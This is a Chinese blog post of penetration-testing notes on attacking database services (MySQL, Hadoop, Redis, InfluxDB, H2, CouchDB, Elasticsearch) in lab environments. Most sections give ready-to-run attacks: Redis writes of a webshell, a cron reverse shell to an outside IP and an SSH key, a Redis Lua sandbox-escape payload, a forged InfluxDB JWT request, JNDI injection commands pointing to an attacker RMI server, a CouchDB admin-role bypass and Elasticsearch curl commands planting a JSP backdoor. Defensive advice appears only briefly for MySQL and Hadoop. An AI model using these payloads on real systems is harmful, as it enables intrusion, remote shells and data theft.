数据库安全

服务应用漏洞

常见服务应用的安全测试:
1、配置不当-未授权访问
2、安全机制-特定安全漏洞
3、安全机制-弱口令爆破攻击

数据库安全

Mysql

复现环境:vulhub 内置端口33067

介绍

MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。

MariaDB 是一个采用Maria 存储引擎的MySQL分支版本,是由原来MySQL 的作者Michael Widenius创办的公司所开发的免费开源的数据库服务器。

这个缺陷的根源在于memcmp()函数总是返回-128到127(有符号字符)范围内的值。也就是说,只有在Linux系统使用SSE优化库(GNU C库)的场合下才能被利用,成功触发这一漏洞的概率约为1:256。

按照公告说法大约256次就能够蒙对一次。

受影响版本:
All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are vulnerable.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

防御

升级官方补丁:

MariaDB 5.1.62, 5.2.12, 5.3.6, 5.5.23

MySQL 5.1.63, 5.5.24, 5.6.6

Sebug临时解决办法: 在防火墙上关闭mysql端口

参考

https://github.com/vulhub/vulhub/tree/master/mysql/CVE-2012-2122

https://www.cnblogs.com/zhuxr/p/9553541.html

Hadoop

复现环境:vulfocus

介绍

Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。

修复

1、如无必要,关闭 Hadoop Web 管理页面。

2、开启身份验证,防止未经授权用户访问。

3、设置“安全组”访问控制策略,将 Hadoop 默认开放的多个端口对公网全部禁止或限制可信任的 IP 地址才能访问包括 50070 以及 WebUI 等相关端口。

参考

https://www.cnblogs.com/zhaijiahui/p/14638182.html

https://xz.aliyun.com/t/6103#toc-12

https://blog.csdn.net/weixin_40412037/article/details/121162267

Redis

#Redis-未授权访问-Webshell&任务&密匙&RCE等
1、写Webshell 需得到Web路径
利用条件:Web目录权限可读写
config set dir /tmp            #设置WEB写入目录
config set dbfilename 1.php    #设置写入文件名
set test "<?php phpinfo();?>"  #设置写入文件代码
bgsave                         #保存执行
save                           #保存执行
注意:部分没目录权限读写权限               


2、写定时任务反弹shell
利用条件:
允许异地登录
安全模式protected-mode处于关闭状态
config set dir /var/spool/cron
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/47.94.236.117/5555 0>&1\n\n\n"
config set dbfilename x
save
注意:
centos会忽略乱码去执行格式正确的任务计划 
而ubuntu并不会忽略这些乱码,所以导致命令执行失败


3、写入Linux ssh-key公钥
利用条件:
允许异地登录
Redis服务使用ROOT账号启动
安全模式protected-mode处于关闭状态
允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
ssh-keygen -t rsa
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 118.31.57.214 -x set xxx
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
cd /root/.ssh/
ssh -i id_rsa root@118.31.57.214


4、RCE自动化利用脚本-vulfocus
https://github.com/vulhub/redis-rogue-getshell
python redis-master.py -r 123.58.236.76 -p 11820 -L 47.94.236.117 -P 8888 -f RedisModulesSDK/exp.so -c "id"


5.新漏洞-沙箱绕过RCE CVE-2022-0543-vulfocus
Poc:执行id命令
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

参考

https://www.freebuf.com/articles/web/249238.html

https://www.freebuf.com/articles/network/280984.html

https://www.freebuf.com/news/325729.html

Influxdb

描述

Influxdb-未授权访问-Jwt验证不当

默认端口:8086 8088
influxdb是一款著名的时序数据库,其使用jwt作为鉴权方式。在用户开启了认证,但未设置参数shared-secret的情况下,jwt的认证密钥为空字符串,此时攻击者可以伪造任意用户身份在influxdb中执行SQL语句。

1、借助https://jwt.io/来生成jwt token:
{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "username": "admin",
  "exp": 1676346267
}


2、发送数据包触发未授权
POST /query HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjc2MzQ2MjY3fQ.NPhb55F0tpsp5X5vcN_IkAAGDfNzV5BA6M4AThhxz6A
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22


db=sample&q=show users

参考

https://www.mi1k7ea.com/2020/01/01/浅析Influxdb认证绕过漏洞/

https://www.wangan.com/docs/363

H2database

描述

H2database-未授权访问-配置不当

默认端口:20051
H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:默认端口:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。

1、下载JNDI-Injection-Exploit
https://github.com/welk1n/JNDI-Injection-Exploit
2、生成执行RMI Payload-URL
-C 执行命令 -A 服务器地址
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 47.94.236.117
3、填入URL提交执行
javax.naming.InitialContext
rmi://47.94.236.117:1099/kd1rns

代码执行:CVE-2021-44228

https://www.secrss.com/articles/38106

参考

https://www.wangan.com/docs/357

CouchDB

CouchDB-权限绕过配合RCE-漏洞
默认端口:5984
Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)

-CouchDB-权限绕过-CVE-2017-12635
1、先创建用户
Post:/_users/org.couchdb.user:vulhub
{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "roles": [],
  "password": "vulhub"
}
2、登录用户授权
Get:/_utils/
vulhub vulhub


-CouchDB-权限绕过RCE-CVE-2017-12636
1、下载exp.py
2、修改目标和反弹地址
3、Python3调用执行即可
https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

参考

https://www.freebuf.com/articles/web/258159.html

https://blog.csdn.net/weixin_42250835/article/details/120880072

ElasticSearch

Elasticsearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。

默认端口:9200 9300

#ElasticSearch-文件写入&RCE-漏洞
默认端口:9200 9300
-Elasticsearch RCE CVE-2014-3120
1、漏洞需要es中至少存在一条数据,所以我们需要先创建一条数据
POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25


{
  "name": "xiaodi"
}
2、直接发包触发执行命令


-Elasticsearch 文件写入 wooyun_2015_110216
9200一般为ElasticSearch的常用端口,此漏洞环境需要与中间件使用
1、发现9200端口存在elasticsearch页面,8080存在tomcat目录
2、利用ElasticSearch写入后门到/usr/local/tomcat/webapps/wwwroot/
curl -XPOST http://123.58.236.76:31556/yz.jsp/yz.jsp/1 -d'
{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}
'


curl -XPUT 'http://123.58.236.76:31556/_snapshot/yz.jsp' -d '{
     "type": "fs",
     "settings": {
          "location": "/usr/local/tomcat/webapps/wwwroot/",
          "compress": false
     }
}'


curl -XPUT "http://123.58.236.76:31556/_snapshot/yz.jsp/yz.jsp" -d '{
     "indices": "yz.jsp",
     "ignore_unavailable": "true",
     "include_global_state": false
}'


3、访问8080端口snapshot-yz.jsp文件写入代码到test.jsp中
http://123.58.236.76:31557/wwwroot/indices/yz.jsp/snapshot-yz.jsp?f=success
http://123.58.236.76:31557/wwwroot/test.jsp

参考

https://cloud.tencent.com/developer/article/1802258

https://louisnie.github.io/2019/07/03/elasticsearch命令执行漏洞/

posted @ 2022-05-09 21:34  阿力先生  阅读(271)  评论(0)    收藏  举报